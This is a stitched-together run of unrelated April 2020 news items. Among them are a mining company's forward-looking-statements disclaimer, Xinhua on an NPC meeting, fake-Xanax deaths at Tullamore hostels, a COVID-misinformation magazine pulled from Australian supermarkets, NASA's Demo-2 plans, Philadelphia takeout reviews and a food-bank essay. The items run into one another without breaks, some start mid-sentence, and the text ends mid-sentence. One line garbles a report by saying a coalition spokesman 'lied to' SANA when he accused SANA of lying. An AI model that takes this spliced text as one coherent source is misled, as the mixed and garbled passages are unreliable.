regulation of mining operations, tax rules and regulations, and political and economic developments in countries in which Endeavour operates. Although Endeavour has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking statements, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. Please refer to Endeavour's most recent Annual Information Form filed under its profile at www.sedar.com for further information respecting the risks affecting Endeavour and its business. AISC, all-in sustaining costs at the mine level, cash costs, operating EBITDA, all-in sustaining margin, free cash flow, net free cash flow, free cash flow per share, net debt, and adjusted earnings are non-GAAP financial performance measures with no standard meaning under IFRS, further discussed in the section Non-GAAP Measures in the most recently filed Management Discussion and Analysis. Corporate Office: 5 Young St, Kensington, London W8 5EH, UK Attachment Source: Xinhua| 2020-04-28 22:32:59|Editor: huaxia Video Player Close Li Zhanshu, chairman of the National People's Congress (NPC) Standing Committee, presides over a chairpersons' meeting of the 13th NPC Standing Committee at the Great Hall of the People in Beijing, capital of China, April 28, 2020. (Xinhua/Liu Weibing) BEIJING, April 28 (Xinhua) -- The Standing Committee of the National People's Congress (NPC) held a chairpersons' meeting Tuesday morning to hear reports on the deliberations of a draft law revision and multiple draft resolutions. Li Zhanshu, chairman of the NPC Standing Committee, presided over the meeting. Li Fei, chairman of the NPC Constitution and Law Committee, reported on the deliberations of a draft revision to the law on the prevention and control of environmental pollution by solid waste, as well as a draft decision to authorize the State Council to temporarily adjust relevant laws and regulations in the Hainan pilot free trade zone. Shen Chunyao, director of the Legislative Affairs Commission of the NPC Standing Committee, made a report on the deliberations of a draft decision on the convening date of the third annual session of the 13th NPC. The meeting also heard the report of the deliberations of a treaty on the transfer of convicted criminals between China and Pakistan. The meeting decided to submit the above drafts to the ongoing NPC Standing Committee for review. Gardai are investigating the possiblity that lethal fake drugs purchased on the black market dark web may have led to tragic deaths of three people at two different homeless hostels in Tullamore in the last couple of weeks. Gardai have launched an investigation after being called to Clonamore House hostel facility on Monday morning April 27. On arrival, officers discovered the remains of Angela Andrea Kelly, aged 44. She is a native of Portlaoise. The alarm was raised after a man known to her discovered her body. A second woman, Amy Mannix, who is originally from Kerry but had ties to Portlaoise, was subsequently found unresponsive and later died. She was aged in her late teens. A third young man, aged 23, who was also in the house was also found unresponsive. He was taken to the Midland Regional Hospital Tullamore but was fighting for his life in a critical condition at the time of going to press on Monday. He is also from Portlaoise. A fourth man, aged 32, who was a partner to Amy Mannix, and who also discovered the remains of Angela Kelly, took ill on Monday morning and was removed to Tullamore hospital on Monday. He was described as being in a critical condition on Monday afternoon but is understood to have a greater chance of survival. He had previously lived in Portlaoise. While a link has yet to be established, Gardai are also investigating a possibility that a man, who died at a separate homeless facility in Tullamore the previous week may have lost his life after taking a similar substance. Gardai are examining the possibility that all the victims and those ill had taken a fake Xanax drug on the dark web. Health authorities in Ireland have issued an advisory notice warning people not to buy such substances online. Gardai are keeping an open mind on the cause of death but say there is a common thread of purchasing of illicit substances online. It is also suspected that other drugs may have been taken. There are no signs at this point that the victims had contracted Covid-19. Those affected were residing in a hostel whic is privately owned and run but is used to house people who need emergency accommodation. Laois, Offaly and Westmeath county councils all avail of the facility. Gardai are not understood to hold the location in any way responsible for the deaths. All of those who died or who have taken ill were known to gardai and the HSE's addiction service. Garda Chief Superintendent John Scanlon confirmed that gardai are investigating the circumstances. He also had some advice to drug users. Anybody should be very careful taking substances that they do not know of their origins. Anybody who may have taken substances that they are unsure of should make immediate contact with a healthcare professional. We are concerned about people generally because of this development in the drugs trade in the midlands he said. Gardai are liaising with the HSE and CADS, a local community alcohol and drugs support group, in relation to the case. The four people with Laois connections were clients of Laois County Council's homeless section. The council's chief executive John Mulholland extended his sympathies. Laois County Council is deeply saddened and shocked at the news of the tragic loss of life at Clonamore House over the weekend. The Council wishes to convey its sincere sympathy to the families and friends of those who have passed away, he said. Following reports that two US soldiers were killed, a spokesperson for the International Coalition has branded the regime-affiliated news agency SANA as liars reports Baladi News. The regime-affiliated news agency SANA, quoting what it described as community sources, reported that two American soldiers were attacked in the rural eastern Deir ez-Zor, and that their fate was unknown. According to SANA, unknown assailants attacked their vehicle, a Hummer belonging to the US Army, while they were between the al-Omar and al-Tanak oil fields. The vehicle was found destroyed and completely burnt, with no trace of the American soldiers inside. Meanwhile, Col. Myles Caggins, the Coalition spokesperson, lied to the SANA news agency, accusing it of fabricating news about the International Coalition forces in northeastern Syria. Caggins wrote in a tweet on Monday: If there are prizes for fake news, then this news agency [SANA] deserves to win all of them. He denied SANA reports that Coalition forces had been attacked in Deir e-Zor, saying that there was no incident related to Coalition forces in Deir e-Zor. The International Coalition Against Islamic State was formed in September 2014 with the goal of defeating the group in Syria and Iraq, and includes 82 countries led by the United States. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. President Donald Trump says he doesnt think COVID-19 will keep every school across the country shuttered for the remainder of the academic year, as many states plan the phased reopening of their economies in the aftermath of the pandemic. We recommend (states) do it as quickly as possible, but we want them to be safe, Trump said in a news conference Monday evening. I think youll see a lot of schools open up, even if for a very short time. He added that young people seem to do very well when it came to the vicious virus. The presidents suggestion for some areas to reopen classes comes as more than 40 states have already ordered or recommended school closures for the remainder of the school year, a move that impacts more than 45 million students, according to Education Week. While the new coronavirus impacts older people and those with pre-existing conditions more than young people, the Centers for Disease Control and Prevention still noted in early April that serious COVID-19 illnesses resulting in hospitalization still occurs among children younger than 18. Between Feb. 12 and April 2, among 149,000 cases for which age was known, 2,572 or 1.7% were children, the CDC said. Social distancing and everyday preventive behaviors remain important for all age groups as patients with less serious illness and those without symptoms likely play an important role in disease transmission, the agency said. But as states, including some hotspots such as New York, see the number of new cases starting to flatten or decline, the Trump administration, state leaders and some residents have pushed for areas to get back to business as usual. Some areas, Trump said, may be ready to open up their school systems. Rapid, but safety. Earlier Monday, Trump urged urged governors to start to think about school openings before the end of the school year, The New York Times reported. The young children have done very well in this disaster that weve all gone through, so a lot of people are thinking about the school openings," Trump told governors during a conference call. The Times reported that the comment came during a conversation about testing and respirator use. People want to see these states open, Trump told the governors. There is a thirst to get back to business. Montana Gov. Steve Bullock announced last week that schools could reopen their doors in May. The Washington Post reported that schools in Washington, D.C. and several states are considering partial re-openings, with some in-class work for certain age groups and continued remote learning for others. Related Content: More fasting than feasting this Ramzan India oi-Vicky Nanjappa Lucknow, Apr 28: Iftar parties for 'rozedars' in the city of Nawabs no longer conjure up the image of mouth-watering galouti kebabs with the aroma of lip-smacking biryani wafting all over. With markets closed and meat supply hit due to the COVID-19-induced lockdown, Muslims are in for a Ramzan without their favourite kebabs and other chicken and mutton dishes. 'Lauki kofta' (a bottle gourd dish) and 'palak (spinach) kebabs' have invaded their dining tables ever since the coronavirus scare has pushed people indoors, leaving the usually vibrant markets, once dotted with 'sewai' and dry fruit stalls all deserted. Ramzan moon sighted, Muslims to begin month of fasting amid coronavirus pandemic The holy month of Ramzan marked by fasting by followers of Islam commenced on Saturday as per the lunar calendar. The Shahi Imams of the Jama Masjid and the Fatehpuri Masjid in Delhi have appealed to Muslims to offer namaz during Ramzan at their homes and follow lockdown guidelines to prevent the spread of the coronavirus disease. Abdul Karim, a 35-year-old rickshaw puller, is selling 'egg pakoras' and 'palak kofta' in a narrow bylane in Hussainganj, while his father Suleiman has set up a kiosk to offer sewai (rice vermicelli) a special dish for iftar. "Since rituals are being followed at home, no one ventures out in the marketplaces. We used to sell kebabs and biryani in the past, but things are different this time," Suleiman said. His son spoke in a similar refrain. Centre asks states to remain cautious during Ramzan; ensure no gatherings in mosques Tauheed, who once did brisk business from his small hotel in the city's Chowk area, said 'aloo tikki' has replaced the famous 'shami kebab on the platter in the absence of supply of chicken and mutton. Jack fruit has taken the place of mutton, said Nadeem. "Inshallah, it is more of fasting than of feasting this time," he said. Every year, the sighting of the Ramzan moon brings joy and happiness for Muslims, as this is the holiest month for them, during which they refrain from eating and drinking from dawn to dusk for 30 days. At the crack of dawn, people gather for 'sehri' and eat together before beginning the fast. As the sun sets, preparations are made for 'iftar', when the community gets together after breaking the roza and head to mosques to perform the special 'taraweeh' prayers. But, this year prominent mosques in the Uttar Pradesh capital wore a deserted look, a marked departure from the days when the poor used to line up for iftar food and some alms. In a video message, Syed Ahmed Bukhari, the Shahi Imam of the Jama Masjid, has asked people not to venture outside unnecessarily and remain indoors during Ramzan for prayers. "Namaz and Taraweeh (ritual prayer) should be offered at home. Care should be taken that not more than three to four people read the Tarabi because large numbers can be harmful for families and the society in view of the pandemic," Bukhari said. With Ramzan set to begin, Naqvi urges Muslims to pray from home The Shahi Imam of the Fatehpuri Masjid, Mufti Mukarram Ahmed, said those who are under quarantine and unable to observe 'Roza" (fast) can compensate for it through 'Qaza'. Such persons can observe fast later, he said. Besides the imams, Prime Minister Narendra Modi and Uttar Pradesh Chief Minister Yogi Adityanath have appealed to the community this year to not go to mosques but stay at home and follow the rituals. "The spectre of coronavirus has cast a shadow over the festive spirit and has brought along with it a sense of gloom, especially for those who used to make annual earnings at this time of the year," lamented Naseem, a small trader in famous Aminabad market. A Muslim scholar observed that COVID-19 has changed many things. "This year's Ramzan will be special in the sense that due to the lockdown and physical distancing, people have to avoid mass gathering in mosques", he said, requesting anonymity. He noted that the Muslim community has taken a wise decision to carry out all religious activities from the confines of homes. Coles and Woolworths said they do not endorse the content in the publication Such articles fly in the face of science and have be debunked by medical experts One story in the magazine was about how to 'protect' from WiFi and 5G Coles and Woolworths have removed a magazine from its stores after learning it promoted dangerous theories that fly in the face of science - including that vaccines are linked to autism. The April-May 2020 edition of 'What Doctors Don't Tell You' was pulled from Australia's two largest supermarkets on Tuesday after a medical science professor saw it on the shelves and expressed his shock on national radio. One headline on the front page of the publication read: 'Protect yourself from WiFi and 5G, a step-by-step guide to staying safe.' Another headline claimed slipped discs and pinched nerves can be healed without surgery. The April-May 2020 edition of 'What Doctors Don't Tell You' was pulled from Australia's two largest supermarkets on Tuesday The website has a range of information linking vaccines to autism and fluoride with a lower IQ in children. Coles and Woolworths each told Daily Mail Australia they do not endorse the content of the magazine and removed it from sale. UNSW Associate Professor of Medical Science Dr Darren Saunders told 2GB host Ben Fordham the information spouted by the publication is 'dangerous'. 'There's a reason doctors don't tell you the stuff that's in here, and that's because a lot of it's dangerous,' he said. WHY VACCINES ARE IMPORTANT Immunisation is a simple, safe and effective way of protecting people against harmful diseases before they come into contact with them. Immunisation not only protects individuals, but also others in the community, by reducing the spread of preventable diseases. Research and testing is an essential part of developing safe and effective vaccines. In Australia, vaccines must pass strict safety testing before the Therapeutic Goods Administration (TGA) will register them for use. Approval of vaccines can take up to 10 years. Before vaccines become available to the public, large clinical trials test them on thousands of people. High-quality studies over many years have compared the health of large numbers of vaccinated and unvaccinated children. Medical information from nearly 1.5 million children around the world have confirmed that vaccination does not cause autism. People first became concerned about autism and immunisation after the medical journal The Lancet published a paper in 1998. This paper claimed there was a link between the measles, mumps, rubella (MMR) vaccine and autism. Since then, scientists have completely discredited this paper. The Lancet withdrew it in 2010 and printed an apology. The UK's General Medical Council struck the author off the medical register for misconduct and dishonesty. Source: Australian Department of Health Advertisement 'These kinds of magazines, there's a trick to them. There's little bits of science, science-y sounding words, and they use that as a hook to draw you into all of the conspiracy stuff and dangerous advice.' He said promoting health-related conspiracy theories during a pandemic was 'nuts'. Mr Fordham said the magazine was 'filled with dangerous misinformation', 'dodgy medical advice' and 'full of unusual conspiracy theories'. A Coles spokesman said: 'This magazine was ranged as part of a two-week trial of new magazine titles under an arrangement with our supplier. 'Coles does not endorse the content of the magazine and it is now being removed from sale and will not be part of our range going forward.' Coles and Woolworths each told Daily Mail Australia they do not endorse the content of the magazine and removed it from sale A Woolworths spokesperson said: 'We've informed the supplier we'll be removing the magazine from sale. 'As always, we would encourage our customers to seek and follow expert medical advice.' 'What Doctors Don't Tell You' is a bimonthly magazine that began as a newsletter in 1989. Its website boasts 'in-depth research, and hard-won information of a quality that can change lives for the better'. MIAMI, FL / ACCESSWIRE / April 28, 2020 / Concord Summit Capital, LLC ("CSCap"), in direct response to the Coronavirus (COVID-19) pandemic , is now assisting its clients to process government loans, including SBA disaster relief loans. These services are offered through CSCap's affiliate, Concord Summit Assist, LLC ("CSA") (concordsummitassist.com), as an extension of its fee-based financial advisory platform. With the extraordinary volume of businesses seeking relief from the federal government, CSA provides a credible and experienced resource to guide its clients though the governmental loan processes. CSA's goal is to assist those businesses to quickly apply for, process, obtain and optimize Economic Injury Disaster Loans (EIDL), Payroll Protection Program Loans (PPP), as well as any related qualifying advances and grants. Although currently aiding and servicing those seeking economic relief directly related to the COVID-19 fallout, CSA is a permanent addition to the scope of financial services offered by the CSCap team and can assist potential borrowers in connection with a variety of government-funded programs, such as SBA and USDA. Today, CSA's service desks and loan processors are primarily dedicated to clients seeking funding offered through the SBA, including EIDL, PPP and the SBA Express programs. "There are many companies and individuals that are completely confused and overwhelmed by trying to navigate the different programs and constantly shifting guidelines, as well as how to apply for, gather and complete the necessary financial documentation in order to successfully obtain funding," said Kevin O'Grady, Managing Director of CSA. He also noted that "We have opened up this new fee-based service platform, staffed with our experienced loan processors, to help people efficiently and effectively obtain the funding they desperately need." ABOUT CONCORD SUMMIT CAPITAL CSCap is a partnership among Summit Investment Management, Concord Wilshire Companies and Kevin O'Grady. Story continues Summit Investment Management is a global investment company headquartered in Denver, Colorado (summit-investment.com). Concord Wilshire Companies is a national real estate development and investment company headquartered in Los Angeles, California (concordwilshire.com). Kevin O'Grady is located in Miami and is a forty-year industry professional having completed over $20 billion in transactions under his management. CSCap is a premier nationwide intermediary between sponsors and providers of capital in commercial real estate transactions. CSCap specializes in all asset classes, including but not limited to office, retail, land, multi-family, mixed-use, industrial, and hospitality product types. The firm provides sponsors with access to a broad range of debt and equity capital as well as unmatched knowledge of the market and industry in order to achieve the most efficient execution and results. Media Contact: BoardroomPR Todd Templin 954-370-8999 ttemplin@boardroompr.com SOURCE: Concord Summit Capital View source version on accesswire.com: https://www.accesswire.com/587433/Concord-Summit-Capital-Announces-the-Launch-of-its-Concord-Summit-Assist-Platform-to-Support-Small-Businesses-Seeking-Economic-Relief To help the casual employees of the hostel, who are facing economic hardships due to the COVID-19 induced lockdown, students of Presidency University have donated money to them. The students of Presidency University on Monday gave Rs 3000 each to eight casual employees of Hindu Hostel, who are facing economic hardship as the institution and hostel are closed due to COVID-19 pandemic. Subho Biswas, one of the students of Presidency University said they raised the amount from boarders, ex- students and other well-wishers. "We know Rs 3,000 is a small amount for a family in the present situation. But we are thankful to everyone for chipping in. We will continue to assist these people in future. Our fund raising will continue," Biswas said. The amount was sent to the account of the eight casual employees who live in East/West Midnapore and neighbouring Odisha, he said. Presidency University Registrar Debojyoti Konar told PTI: "our students have always performed their social responsibilities and we are proud of them." However, the students must maintain social distancing norms and other government-specified advisories while taking part in any relief work for the economically disadvantaged people, he added. The Presidency University Students Council, a few days back had also given Rs 1,000 each to the eight casual workers of the Hindu Hostel and a hawker. "We know this amount is very little to provide them relief but we want to tell them that we are always by their side," Presidency University Students' Council president Mimosa Ghorai had said. The students of the Indian Institute of Engineering Science and Technology (IIEST), Shibpur have also given Rs 2,000 each to 35 canteen staff recently. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Amid COVID-19 restrictions, the historic SpaceX mission to launch two NASA astronauts to the International Space Station (ISS) on May 27 is set to be a much quieter affair than it would have been in normal times, with the US space agency asking people not to travel to Florida to witness the spectacle. "We are asking people to join us in this launch, but to do so from home," NASA Administrator Jim Bridenstine was quoted as saying in a press conference on Thursday by The Verge. The SpaceX's Crew Dragon spacecraft, carrying NASA astronauts Robert Behnken and Douglas Hurley, is scheduled to lift off on a Falcon 9 rocket from Launch Complex 39A at the Kennedy Space Centre in Florida. This is the first time NASA astronauts will launch from American soil on a rocket built in the US since the end of the Space Shuttle programme in 2011. Since then the US space agency has relied on Russia's Soyuz capsule to ferry its astronauts to and from the ISS, an arrangement that has cost NASA about $81 million per passenger, said the report. Naturally, the excitement about witnessing a historic mission would have drawn a lot of people to Florida next month and in normal circumstances, there could hardly have been any reason for NASA to not promote it. In view of the spread of COVID-19, NASA is urging people to watch the event online. Bridenstine said, the crowds of space fans that normally turn out for such a launch should stay at home due to social distancing concerns related to the coronavirus in an interview to Space. "A lot of the folks on the line here know that when we launch to space from the Kennedy Space Center, it draws huge, huge crowds, and that is not right now what we're trying to do," Bridenstine said. "We're trying to make sure we have access to the International Space Station, without drawing the massive amount of crowds that we usually would," he added. The "Demo-2" mission will be the final major step before NASA's Commercial Crew Programme certifies Crew Dragon for operational, long-duration missions to the space station. This certification and regular operation of Crew Dragon will enable NASA to continue the important research and technology investigations taking place onboard the station. NASA selected SpaceX and Boeing to create integrated spacecraft, rockets and associated systems to carry astronauts on NASA missions. (With inputs from IANS) NATO's Stoltenberg Blasts Chinese, Russian Disinformation About Coronavirus By Rikard Jozwiak April 27, 2020 BRUSSELS -- NATO Secretary-General Jens Stoltenberg has accused China and Russia of spreading disinformation regarding the organization's response to the coronavirus pandemic. "We have several examples of statements coming from Moscow and Beijing, which are not correct, which try to undermine the cohesion of NATO allies, and also portrays NATO in the absolutely wrong way," Stoltenberg told a video roundtable with RFE/RL and other media on April 27. Stoltenberg also said that both countries "try to portray NATO allies as if we are unable to, for instance, protect our elderly people or that we are not able to work together. We are working together. That's exactly what we do." NATO's secretary-general noted that the military alliance's defense ministers recently decided to "speed up and step up the work we do because they see the value of NATO working together." He also cited cooperation among NATO allies such as providing airlifts, medical support, and transporting patients. Last week, EU monitors identified a "trilateral convergence of disinformation narratives" being promoted by China, Iran, and Russia on the coronavirus pandemic. Some of the common themes were that the coronavirus is a biological weapon created in the United States to bring down opponents and that China, Iran, and Russia "are doing much better than the West" in fighting the epidemic. Source: https://www.rferl.org/a/nato-s-stoltenberg-blasts -chinese-russian-disinformation-about -coronavirus/30579874.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address NO-SIGNAL AREA By Robert Perisic The Croatian writer Robert Perisic goes out of his way not to tell us where his novel No-Signal Area is set, but it is clearly one of the former Yugoslav republics, about 15 years after the wars that broke them up in the 1990s. Theres nothing vague about his characters, however, and nothing indefinite about their stories. Two cousins, Oleg and Nikola, arrive in the town of N., in the middle of Nowheresville, from another Yugoslav republic, hoping to restart a turbine factory that was shuttered during the war. The equipment in the factory doesnt work, but it houses the remnants of two long-obsolete turbines sought by a certain North African dictator known as the Colonel. Hamstrung by international sanctions, the Colonels country needs the machines to run its power plants which date back to the 1980s, when nonaligned Yugoslavia was an ally and is offering big money for a pair. Oleg, a former arms smuggler, hires the factorys former workers to rebuild the turbines, not telling them whom theyre for. N. throbs with unemployment and alienation, as do many provincial towns and villages in the former Yugoslavia not to mention nonurban, noncosmopolitan places all over the world, whether formerly socialist or not. The cell reception is spotty, the local government barely functions, and to reach the town visitors usually have to cross some freshly drawn border. The rehired factory workers drink at a lugubrious, wildly misnamed bar, the Blue Lagoon, where a framed, yellowed poster of Brooke Shields from the 1980 movie hangs on the wall. The once-mundane act of ordering dinner for takeout or delivery has become fraught with all kinds of complicated baggage during this pandemic of locked-down public dining rooms. Are we putting restaurant workers in danger by keeping them at their work and exposing them to the public while delivering food? Yes. On the flip side, are we giving small businesses a financial lifeline however thin by continuing to patronize their efforts? Also yes. Are we enabling the delivery app services to continue gouging restaurants with fees when theyre most vulnerable and need all the resources to stay open? Its undeniable. And the necessary evil aspect of it all seems particularly galling when GrubHub cant be counted on to accurately update its database and we ended up waiting for a paid delivery from a restaurant (Sang Kee) that, in fact, had been closed for three weeks. (The charges were eventually reversed, but thats 30 minutes in customer service purgatory I wont get back). That experience definitely deterred me from patronizing places that relied exclusively on GrubHub. Im encouraged that many restaurants have taken the delivery into their own hands and begun to refine the protocols of a contact-free transaction. That includes diligent use of masks and gloves during preparation and delivery, prepayment options like Venmo for previously cash-only places (Yay!), and a simple door knock-and-drop delivery method to assure the food handoff is done with minimal close personal exposure. I admit there is an element of selfishness in my desire to take an occasional break from cooking every meal. But the taste of an expert al pastor taco, stromboli, or South Indian biryani, and my reflex to celebrate our city of diverse kitchens and hardworking entrepreneurs inevitably wins out over those hesitations. As long as restaurants seek safe ways to continue to be a vibrant part of our lives, I plan to keep ordering. So, here are several highlights from the past few weeks. Vientiane Bistro, 2537 Kensington Ave., 267-703-8199; vientiane-cafe.com Getting food delivered inevitably requires accepting some compromises. But chef and co-owner Sunny Phanthavong has not let takeout containers stand in the way of capturing the full vibrance and heat of the Lao flavors that define her Kensington BYOB as one of my favorite Southeast Asian kitchens. Dont miss the naam lettuce wraps of crispy coconut-curry rice, the lemongrass rich sausages, or especially the minced port laab, which is so zingy with chile-laced lime, herbs, galangal, and roasted rice powder, its hard to stop eating despite the pepper heat. Take a pinch of sticky rice to balance it all. Vientianes khao phoon King Soup is a meal on its own. Plus, one other lesser-talked-about fact: Vientiane also cooks some of the citys best Thai food. DanDan Rittenhouse, 126 S. 16th St., 215-800-1165; Main Line branch: 214 Sugartown Rd., Wayne, 484-580-8558; dandanrestaurant.com Theres no better Chinese restaurant around Rittenhouse Square than this stylish little bi-level Szechuan mainstay. It turns out that DanDan is one of the areas most efficient delivery operations around, as well. DanDan got a meal at our door via Caviar that was still hot and fresh from the wok spicy dan dan noodles (of course!), crispy scallion pancakes, nose-tingling cumin chicken, heat-blistered string beans, and tender dumplings in a lip-numbing gloss of chili oil and soy. Cotoletta Fitler Square, 2227 Pine St., 267-519-9697; cotolettafs.com Ive long had a soft spot for Cotolettas retro Phila-talian red gravy style, especially the pure cutlet indulgence of its signature Stack of layered chicken Parm, eggplant, and sausage-stuffed long hot peppers ribboned with provolone. Owner Beth Amadio has supersized the Stack into a family-sized meal that can actually feed a big family. Really. There are so many levels of cutlet goodness densely layered lasagna-style into the pan, which weighs about 5 pounds, that theres enough for eight to 10 portions. Consider it comes with a pan of ziti, Caesar salad, and ricotta-filled mini cannoli for $95 and you have a pandemic value meal for days. Los Gallos, 951 Wolf St., 215-551-1245; losgallosrestaurant.com While some of South Phillys Mexican stalwarts have decided to close, pioneer Los Gallos is still going strong with some of the best al pastor tacos in town, handmade sope rounds topped with shredded chicken tinga smoky with chipotle spice, and a soulfully dark mole over chicken enchiladas that pays tribute to the owners Poblano roots. Los Gallos is another that has eschewed the apps to handle its own delivery, and seems to be overcoming early struggles to allow no-contact prepayment with credit cards. Pumpkin, 1713 South St.: pumpkinphilly.com, new menus daily on Instagram Chef Ian Moroney and Hillary Bor never let the tiny size of their 26-seater in Graduate Hospital deter them from becoming one of our most reliable Philly BYOB classics. Theyve not let the pandemic tamp their ambitious spirit, either. The restaurant posts some of the most graphically delightful menus Ive seen daily on Instagram. And Moroney and his staff are turning out some genuinely elegant food despite the format, from shrimp in herbaceous green escabeche scattered with watermelon radishes, to browned chicken roulade over freekeh, and dewy fresh halibut with dukkah and yogurt. A chocolate cake with cherry, peanuts, and whipped cream was so meticulously plated, I almost forgot it was inside a plastic takeout tub. Portions arent huge, but quality is impressive. And at $35 for three courses, this would be a highlight meal of any Restaurant Week. Ammas South Indian Cuisine, 1518 Chestnut St., 215-563-2917; ammasrestaurants.com This is one comeback that makes me especially happy, because the flavors of Center Citys recent South Indian boom were conspicuously absent. Ammas, despite a strong existing takeout business, decided to close early in the lockdown. One month later, co-owner Sathish Varadhan and his partners have mastered the protocols, added their own delivery service (call direct) to delivery app collaborations, and are back cooking the kind of bold South Indian specialties that made Ammas one of my Top 25 restaurants in 2019. The delicate dosa crepe and medhu fritters, predictably, lost their crisp in transit. But the hot-and-sour gobi Manchurian was punchy as ever, the chicken 65 sparkling with spice, the gongura dal pure lentil comfort. And I could not get enough of chile-laced coconut stews like chicken Chettinad and Thalassery lamb, as well as a chicken biryani so fragrant, the rice dish perfumed our entire kitchen when I removed its takeout container lid. Palizzi Social Club, 1408 S. 12th St.; https://linktr.ee/palizzisc My daughter always hoped to celebrate her 21st birthday with a Negroni at the Palizzi Social Club. But Joey Baldinos private club homage to South Phillys Italian American tradition was unfortunately closed by the shutdown when that big birthday came and went. Luckily, PSC has begun to-go meals Fridays and Saturdays for its members to prepay and pickup at designated time slots. An oozy loaf of stromboli stuffed with mozzarella and pepperoni. Garlicky escarole and beans. The spaghetti in crab gravy that was my 2017 dish of the year so good, even reheated. Nonmembers should give a call to Baldinos South Jersey Sicilian BYOB, Zeppoli (618 W. Collings Ave., Collingswood, 856-854-2670), because its open to the public. Either way, theyre both so good, dinner from a Baldino kitchen will be worth a toast to good health that seems more apt than ever: Centanni! With the Jharkhand government yet to decide on giving parole to jailed Rashtriya Janata Dal (RJD) chief Lalu Prasad Yadav, Leader of Opposition in Bihar Assembly Tejashwi Yadav on Tuesday expressed concern over reports of doctors attending his father being quarantined after coming in contact with COVID-19 patients. The RJD supremo has been admitted in the private ward of Rajendra Institute of Medical Sciences (RIMS) which has been designated as a 'coronavirus hospital'. On April 13, Jharkhand Chief Minister Hemant Soren had said that the state government was seeking legal advice to release the incarcerated RJD chief on parole amid growing cases of infection at the isolation ward of RIMS. Prasad has been under treatment for multiple chronic ailments in the paying ward of the RIMS. "I am worried because at the age of 72 years and suffering from chronic ailments like kidney, heart and diabetes, the RJD chief and my father needs more protective measures amid the pandemic," Tejashwi said in a moving appeal, apparently seeking early release of his father on parole. "Only those who have families can feel what I am enduring," he said. The RJD is part of the Hemant Soren-led coalition government in Jharkhand. Lalu Prasad is in jail since December 2017 and serving 14 years in prison in connection with fodder scam cases. A mother and her teenage daughter separated across the Atlantic amid the global coronavirus pandemic have finally been reunited after an agonizing two month ordeal. Chloe Woody, 15, traveled to Italy with her uncle in late February in what was meant to be a fun-filled trip of sight-seeing between Venice and Milan, visiting family and learning the Italian language. However the high school student's plans were derailed shortly after her arrival as the COVID-19 outbreak began ravaging the country - prompting Italian Prime Minister Giuseppe Conte to declare a national emergency and shut the countrys borders at the beginning of March. It was really fun, Chloe told WYFF of her trip, and then all of a sudden, its on the news, almost 2,000 people had died, and theyre like We cant leave the house anymore, we need to stay in. Marie Painter (right) and her teenage daughter Chloe Woody (left) have finally been reunited after an agonizing two month ordeal Chloe Woody, 15, traveled to Italy with her uncle in late February in what was meant to be a fun-filled trip of sight-seeing, visiting familyand learning the Italian language However the high school student's plans were derailed shortly after her arrival as the COVID-19 outbreak began ravaging the country (Chloe pictured with family above) Quickly afterwards, Chloe said the panic began to set in as she wondered how she was going back to her mother, Marie Painter, who was waiting anxiously for her at home in Greenville, South Carolina. Marie exhausted every avenue to try get Chloe on a flight back to the US immediately, but she continuously came up short with booked flights being cancelled at the last minute. To make matters worse, President Trump enacted a European travel ban on March 13 meaning flights were fewer and further between than ever before. The mother and daughter stayed in touch via daily video calls but the distance took an emotional toll on Marie. 'I just want to be with her and hug her,' she told WYFF in March, holding back tears. 'The hardest part is knowing she wants to be home and I can't do anything to help her - I'm powerless.' Eventually, after a relentless eight weeks, Maries efforts were finally rewarded when she managed to book her daughter on a flight back to the US, landing in New Yorks JFK airport last week. The relieved mother drove 12 hours from South Carolina to greet her daughter at the gate. The mother and daughter stayed in touch via daily video calls but the distance took an emotional toll on Marie. Eventually, after a relentless eight weeks, Maries efforts were finally rewarded when she managed to book her daughter on a flight back to the US, landing in New Yorks JFK airport earlier this week Chloe didn't recognizer her mother at first (left), as she was dressed in a hazmat suit with a mask and shield covering her face. The pair shared a laugh and then locked into a long overdue embrace The pair enjoyed a tearful reunion in the arrivals lounge, but not before sharing a laugh with one another at Maries expense. Chloe recalled how she had been trying to spot her mother when she walked through the doors into arrivals, but didnt realize Marie had come to the airport dressed in a hazmat suit, with a full face mask and face shield on. While Marie stood their crying at the sight of her daughter, Chloe burst out laughing when she finally realized it was her mother beneath the suit. The laughter quickly subsided, however, when the pair locked into an emotional - and long overdue - embrace. I cried immediately, I took her picture and cried, Marie recalled. And when she saw me and realized it was me she started laughing because she was looking for me but didnt realize I was in a suit. I just cant even express the gratitude I feel for everyone who helped us [bring Chloe home]. Now safely back in South Carolina, Chloe will now quarantine for the next 14 days. (@ChaudhryMAli88) Chilean law enforcement officers used tear gas and water cannons to disperse protesters who took to the streets in Santiago on Monday despite the coronavirus lockdown, the media reported on Tuesday MOSCOW (UrduPoint News / Sputnik - 28th April, 2020) Chilean law enforcement officers used tear gas and water cannons to disperse protesters who took to the streets in Santiago on Monday despite the coronavirus lockdown, the media reported on Tuesday. According to the Telesur broadcaster, at least 30 people were detained during the rally against the country's national police, which was held on the 93rd anniversary of its formation. Mass demonstrations against socioeconomic and political inequality have been ongoing in Chile since October, and the Monday protest was held despite the nationwide ban on mass gatherings of more than 50 people. Anyone can fall on hard times we must view access to food as a basic right. Tamara Gane is a freelance writer in Seattle whose work has appeared in The Washington Post, NPR, HuffPost and more. There is an image of the coronavirus crisis I cannot shake loose from my head. It is a picture of hundreds of cars outside Pittsburgh, stretching out for over a mile, waiting in line to receive food. Sadly this picture is not unique. Across the United States, people are waiting in cars, or in many cases on their own two feet, for hours to receive help from their local food bank. I relate to each one of them. Twenty years ago, I was a food bank customer myself. Once a month, volunteers in a church basement in a small town in Washington state handed me a cardboard box full of pancake mix, rice, dried macaroni noodles, powdered milk, peanut butter, assorted canned goods and a dozen eggs. Sometimes they would include something special a packet of brownie mix or a pound of ground beef. These items meant the world to me. They were more than just food, they were symbols of normality: The chance to give my son the type of meal I imagined his elementary school classmates enjoying in comfortable homes with two parents and matching furniture. The chance to feel like I was not a complete failure of a mother. I was in my late 20s, divorced and working full time as a receptionist, answering phones for a seedy telemarketing company in a smoke-filled basement. I earned a couple of dollars more than minimum wage but, between daycare, school supplies, rent, 